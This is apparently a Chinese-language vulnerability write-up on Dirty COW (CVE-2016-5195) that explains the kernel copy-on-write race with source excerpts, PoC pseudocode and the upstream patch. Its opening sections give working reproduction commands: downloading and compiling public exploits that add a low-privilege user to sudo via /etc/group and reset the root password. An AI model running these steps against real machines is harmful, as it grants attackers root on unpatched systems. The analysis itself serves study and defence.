复现环境

  • ubuntu-14.04-desktop-amd64.iso

  • 利用条件: Linux kernel >= 2.6.22

  • 镜像条件:

    $ uname -r -v
    3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014

漏洞复现

添加用户

添加用户

lantern@ubuntu:~$ sudo adduser newtest
Adding user `newtest' ...
Adding new group `newtest' (1001) ...
Adding new user `newtest' (1001) with group `newtest' ...
Creating home directory `/home/newtest' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for newtest
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n]
lantern@ubuntu:~$
  • 输入密码后一路回车

查看当前用户信息, 输入id, 可以看到当前用户是有 sudo权限的

lantern@ubuntu:~$ id
uid=1000(lantern) gid=1000(lantern) groups=1000(lantern), 4(adm), 24(cdrom), 27(sudo), 30(dip), 46(plugdev), 108(lpadmin), 124(sambashare)

切换到刚刚新建的 newtest 用户, 同样输入 id 查看用户信息, 可知newtest用户是没有 sudo 权限的

lantern@ubuntu:~$ su newtest
Password:
newtest@ubuntu:/home/lantern$ id
uid=1001(newtest) gid=1001(newtest) groups=1001(newtest)

获得sudo权限

POC

下载 poc

wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c

编译运行:

gcc -pthread dirtyc0w.c -o dirtyc0w

./dirtyc0w /etc/group "$(sed '/\(sudo*\)/ s/$/, newtest/' /etc/group)"

原版 POC 有个很长的循环, 实际上不需要那么长时间, 运行后可以直接终端

可以看到此时newtest 拥有了 sudo 权限, 提权成功

image-20200803094921366

直接修改root密码

CVE-2016-5195

要求:

A CVE-2016-5195 vulnerable system.

The program was successfully used with:

RHEL7 Linux x86_64;
RHEL4 (4.4.7-16, with "legacy" version)
Debian 7 ("wheezy");
Ubuntu 14.04.1 LTS
Ubuntu 14.04.5 LTS
Ubuntu 16.04.1 LTS
Ubuntu 16.10
Linux Mint 17.2
and compiled with:

clang version 4.0.0;
gcc version 6.2.0 20161005 (Ubuntu 6.2.0-5ubuntu12)
gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.1)
gcc version 4.8.5 20150623 (Red Hat 4.8.5-4) (GCC);
gcc version 4.8.4 (Ubuntu 4.8.4);
gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1)
gcc version 4.7.2 (Debian 4.7.2-5);
gcc version 4.4.7 (with "legacy" version)

编译运行:

$ sudo apt install g++ git
$ git clone https://github.com/gbonacini/CVE-2016-5195/
$ cd CVE-2016-5195
$ make
$ adduser newtest2
$ su newtest2
$ ./dcow
Running ...
Received su prompt (Password: )
Root password is: dirtyCowFun
Enjoy! :-)
$ su root # password is dirtyCowFun
$ id
uid=0(root) gid=0(root) groups=0(root)

这份 POC 可以直接修改root密码为dirtyCowFun

漏洞成因

get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中, 可能产出竞态条件造成 COW 过程被破坏, 导致出现写数据到进程地址空间内只读内存区域的机会。当我们向带有MAP_PRIVATE标记的只读文件映射区域写数据时, 会产生一个映射文件的复制(COW), 对此区域的任何修改都不会写回原来的文件, 如果上述的竞态条件发生, 就能成功的写回原来的文件。比如我们修改su或者passwd程序就可以达到root的目的。

Copy On Write机制

如果有多个调用者同时请求相同的资源(如内存或磁盘上的数据存储), 他们会共同获得相同的指针指向相同的资源, 直到某个调用者试图修改资源的内容 时, 系统才会真正复制一份专用副本(private copy)给该调用者, 而其他调用者所见到的最初的资源仍然保持不变。这过程对其他的调用者都是透明的(transparently)。此作法主要的优点是如果调用者没有修改该资源, 就不会有副本(private copy)被创建, 因此多个调用者只是读取操作时可以共享同一份资源。

在该漏洞中, 当我们用mmap去映射文件到内存区域时使用了MAP_PRIVATE标记, 我们写文件时会写到 COW机制 产生的内存区域中, 原文件不受影响。其中获取用户进程内存页的过程如下:

  1. 第一次调用follow_page_mask查找虚拟地址对应的page, 带有FOLL_WRITE标记。因为所在page不在内存中, follow_page_mask返回NULL, 第一次失败, 进入faultin_page, 最终进入do_cow_fault分配不带_PAGE_RW标记的匿名内存页, 返回值为0。

  2. 重新开始循环, 第二次调用follow_page_mask, 带有FOLL_WRITE标记。由于不满足((flags & FOLL_WRITE) && !pte_write(pte))条件, follow_page_mask返回NULL, 第二次失败, 进入faultin_page, 最终进入do_wp_page函数分配COW页。并在上级函数faultin_page中去掉FOLL_WRITE标记, 返回0。

  3. 重新开始循环, 第三次调用follow_page_mask, 不带FOLL_WRITE标记, 成功得到page。

源码分析

Linux 4.7源码为例, 解读流程。

首先从mem_write函数开始看起

mem_write

mem_write -> mem_rw -> access_remote_vm -> __access_remote_vm

__access_remote_vm源码中的部分实现:

// ...
struct page *page = NULL;

ret = get_user_pages_remote(tsk, mm, addr, 1, write, 1, &page, &vma); // 获取这个page
// ...
maddr = kmap(page);
if (write) {
copy_to_user_page(vma, page, addr, maddr + offset, buf, bytes); // 把用户数据拷贝到 page
set_page_dirty_lock(page); // 将这个 page 设置为 dirty
} else {
copy_from_user_page(vma, page, addr, buf, maddr + offset, bytes);
}
kunmap(page);
put_page(page);

其中 get_user_pages_remote 调用链为get_user_pages_remote->__get_user_pages_locked

__get_user_pages_locked 部分代码如下:

...
if (write)
flags |= FOLL_WRITE; // 写操作标记

pages_done = 0;
lock_dropped = false;
for (;;) {
ret = __get_user_pages(tsk, mm, start, nr_pages, flags, pages, vmas, locked);
...
}

由于我们执行的是写操作, 因此会有一个写操作标记FOLL_WRITE跟入__get_user_pages函数

__get_user_pages

get_user_pages系列函数用于获取用户进程虚拟地址所在的页(struct page), 返回的时page数组, 该系列函数最终都会调用__get_user_pages

__get_user_pages部分代码如下:

long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,        unsigned long start, unsigned long nr_pages,        unsigned int gup_flags, struct page **pages,        struct vm_area_struct **vmas, int *nonblocking)
{
do {
retry:
cond_resched(); /* 进程调度 */
...
page = follow_page_mask(vma, start, foll_flags, &page_mask); /* 查找虚拟地址的page */
/* 缺页处理 */
if (!page) {
ret = faultin_page(tsk, vma, start, &foll_flags, nonblocking); /* 处理失败的查找 */
switch (ret) {
case 0:
goto retry;
// ...
}
}
if (page)
...
// 加入page数组
} while (nr_pages);
}

通过follow_page_mask去查找虚拟地址对应的 page, 如果找不到就进入faultin_page处理。这里可能会重复几次, 直到找到 page 或发生错误为止。另外由于每次循环会先调用cond_resched()进行线程调度, 所以才会出现多线程的竞态条件的可能

接着我们继续看follow_page_mask, 在follow_page_mask进行了缺页寻找follow_page_pte

follow_page_pte

follow_page_pte部分代码如下:

static struct page *follow_page_pte(struct vm_area_struct *vma,        unsigned long address, pmd_t *pmd, unsigned int flags)
{
....
if (!pte_present(pte)) {
swp_entry_t entry;

if (likely(!(flags & FOLL_MIGRATION)))
goto no_page;
if (pte_none(pte))
goto no_page;
entry = pte_to_swp_entry(pte);
if (!is_migration_entry(entry))
goto no_page;
pte_unmap_unlock(ptep, ptl);
migration_entry_wait(mm, pmd, address);
goto retry;
}
// ...
if ((flags & FOLL_WRITE) && !pte_write(pte)) {
pte_unmap_unlock(ptep, ptl);
return NULL;
}
// ...
out:
pte_unmap_unlock(ptep, ptl);
return page;
no_page:
pte_unmap_unlock(ptep, ptl);
if (!pte_none(pte))
return NULL;
return no_page_table(vma, flags);
}

主要有两点

  1. 由于没有page而跳转到no_page, 最终由no_page_table返回一个NULL
  2. 由于没有写权限(FOLL_WRITE存在), 而返回一个NULL

最终返回到__get_user_pages函数, 由于 page == NULL, 执行缺页处理faultin_page

faultin_page

faultin_page 部分源码如下:

static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,        unsigned long address, unsigned int *flags, int *nonblocking)
{
struct mm_struct *mm = vma->vm_mm;
unsigned int fault_flags = 0;
int ret;
// ...
/* 由于没有写权限的错误标记 */
if (*flags & FOLL_WRITE)
fault_flags |= FAULT_FLAG_WRITE;
// ...

/* 错误处理 */
ret = handle_mm_fault(mm, vma, address, fault_flags);

// ....

/* 去掉 FOLL_WIRTE */
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
*flags &= ~FOLL_WRITE;
return 0;
}

首先进行一系列的错误标记, 然后进入handle_mm_fault进行错误处理, 且如果是因为没有写权限导致的错误, 则在错误处理后获得返回标记VM_FAULT_WRITE而去掉FOLL_WRITE

其调用链为:

handle_mm_fault->__handle_mm_fault->handle_pte_fault->do_fault/do_wp_page

首先我们来看do_fault函数

do_fault

do_fault 部分源码如下:

static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma,        unsigned long address, pte_t *page_table, pmd_t *pmd,        unsigned int flags, pte_t orig_pte)
{
/* 如果是因为没有写权限执行 do_read_fault */
if (!(flags & FAULT_FLAG_WRITE))
return do_read_fault(mm, vma, address, pmd, pgoff, flags, orig_pte);

/* 如果是因为缺页则执行 do_cow_fault */
if (!(vma->vm_flags & VM_SHARED))
return do_cow_fault(mm, vma, address, pmd, pgoff, flags, orig_pte);
}

do_fault函数中有两个重要的处理

  1. 如果是因为没有可写属性, 则会执行do_read_fault
  2. 如果是因为有可写属性,但是是私有页, 则执行do_cow_fault, 在内存中分配一个只读的匿名页

接着我们来看do_wp_page

do_wp_page

如果是由于没有写权限, 那么就会执行这个错误处理

do_wp_page部分源码如下:

old_page = vm_normal_page(vma, address, orig_pte); /* 得到之前分配的只读页, 该页是匿名的页 */
// ...
if (PageAnon(old_page) && !PageKsm(old_page)) {
int total_mapcount;
// ...
if (reuse_swap_page(old_page, &total_mapcount)) { /* old_page 只有自己的进程在使用, 直接使用就可以了 */
if (total_mapcount == 1) {
/*
* The page is all ours. Move it to
* our anon_vma so the rmap code will
* not search our parent or siblings.
* Protected against the rmap code by
* the page lock.
*/
page_move_anon_rmap(old_page, vma);
}
unlock_page(old_page);
return wp_page_reuse(mm, vma, address, page_table, ptl, orig_pte, old_page, 0, 0);
}
unlock_page(old_page);
}

do_wp_page会先判断是否真的需要复制当前页, 由于上面分配的页是一个匿名页并且只有当前线程在使用, 所以不用复制, 直接使用即可。执行wp_page_reuse, 而这个函数调用之后会返回VM_FAULT_WRITE的标志, 最终返回到faultin_page去掉FOLL_WRITE

流程如下:

dirty cow

POC 分析

  • mmap(void* start, size_t length, int prot, int flags, int fd, off_t offset) : 当磁盘上的文件映射到虚拟内存中, 当 flags 的 MAP_PRIVATE 被置为1时, 对 mmap 得到内存映射进行的写操作会使内核触发 COW (Copy-on-Write)操作, 写的时 COW 后的内存, 不会同步到磁盘的文件中
  • madvice(caddr_t addr, size_t len, int advice): 当 advice 为 MADV_DONTNEED 时, 此系统调用相当于通知内核 addr - addr + len 的内存在接下来不再使用, 内核将释放掉这一块内存以节省空间, 相应的页表也会被置空
  • /proc/self/mem: 利用写 /proc/self/mem来改写不具有写权限的虚拟内存。原因时/proc/self/mem是一个文件, 只要进程对该文件具有写权限, 那就可以随便写这个文件了, 只不过对这个文件进行读写的时候需要执行一遍访问内存地址所需要寻页的流程。因为这个文件指向的是虚拟内存。

正常流程

  1. 第一次 follow_page_mask(FOLL_WRITE), 因为 page 不在内存中, 进行缺页处理, 在这个过程中执行 COW 机制
  2. 第二次 follow_page_mask(FOLL_WRITE), 因为 page 没有写权限, 并去掉 FLOLL_WRITE
  3. 第三次 follow_page_mask(无FOLL_WRITE), 成功

POC流程

  1. 第一次 follow_page_mask(FOLL_WRITE), 因为 page 不在内存中, 进行缺页处理, 在这个过程中执行 COW 机制获取 COW 页

  2. 第二次 follow_page_mask(FOLL_WRITE), 因为 page 没有写权限, 并去掉 FLOLL_WRITE

    此时另一个线程释放掉上一步分配的 COW 页(使用madvice)

  3. 第三次 follow_page_mask(无 FOLL_WRITE), 因为 page 不在内存中, 进行缺页处理

  4. 第四次 follow_page_mask(无 FOLL_WRITE), 成功返回 page, 但是没有使用 COW 机制, 此时我们对副本的修改会直接影响到源文件

POC 代码分析

POC关键部分伪代码:

Main:
fd = open(filename, O_RDONLY)
fstat(fd, &st)
map = mmap(NULL, st.st_size , PROT_READ, MAP_PRIVATE, fd, 0)
start Thread1
start Thread2

Thread1:
f = open("/proc/self/mem", O_RDWR)
while (1):
lseek(f, map, SEEK_SET)
write(f, shellcode, strlen(shellcode))

Thread2:
while (1):
madvise(map, 100, MADV_DONTNEED)

首先打开我们需要修改的只读文件并使用MAP_PRIVATE标记映射文件到内存区域, 然后启动两个线程

  • 线程1 向文件映射/proc/self/mem的内存区域写数据, 这时内核采用 COW 机制
  • 线程2 使用带 MADV_DONTNEED 参数的madvise系统调用将文件映射内存区域释放, 达到干扰另一个线程的 COW 过程, 产生竞态条件, 当竞态条件发生时就能成功写入文件

漏洞修复

patch 链接

现在不再是把FOLL_WRITE标记去掉, 而是添加了一个FOLL_COW标志来表示获取一个COW分配的页。即使是竞态条件破坏了一次完整的获取页的过程, 但是因为FOLL_WRITE标志还在, 所以会重头开始分配一个COW页, 从而保证该过程的完整性。

diff --git a/include/linux/mm.h b/include/linux/mm.h
index e9caec6..ed85879 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -2232, 6 +2232, 7 @@ static inline struct page *follow_page(struct vm_area_struct *vma, #define FOLL_TRIED 0x800 /* a retry, previous pass started an IO */
#define FOLL_MLOCK 0x1000 /* lock present pages */
#define FOLL_REMOTE 0x2000 /* we are working on non-current tsk/mm */
+#define FOLL_COW 0x4000 /* internal GUP flag */

typedef int (*pte_fn_t)(pte_t *pte, pgtable_t token, unsigned long addr, void *data);
diff --git a/mm/gup.c b/mm/gup.c
index 96b2b2f..22cc22e 100644
--- a/mm/gup.c
+++ b/mm/gup.c
@@ -60, 6 +60, 16 @@ static int follow_pfn_pte(struct vm_area_struct *vma, unsigned long address, return -EEXIST;
}

+/*
+ * FOLL_FORCE can write to even unwritable pte's, but only
+ * after we've gone through a COW cycle and they are dirty.
+ */
+static inline bool can_follow_write_pte(pte_t pte, unsigned int flags)
+{
+ return pte_write(pte) ||
+ ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
+}
+
static struct page *follow_page_pte(struct vm_area_struct *vma, unsigned long address, pmd_t *pmd, unsigned int flags)
{
@@ -95, 7 +105, 7 @@ retry:
}
if ((flags & FOLL_NUMA) && pte_protnone(pte))
goto no_page;
- if ((flags & FOLL_WRITE) && !pte_write(pte)) {
+ if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) {
pte_unmap_unlock(ptep, ptl);
return NULL;
}
@@ -412, 7 +422, 7 @@ static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma, * reCOWed by userspace write).
*/
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
- *flags &= ~FOLL_WRITE;
+ *flags |= FOLL_COW;
return 0;
}

参考

Dirty COW

DirtyCow(脏牛)漏洞复现

【漏洞分析】11月4日:深入解读脏牛Linux本地提权漏洞(CVE-2016-5195)

星盟ctf战队 b站分享 2020-4-25-GraVity0~linux内核漏洞的分析与利用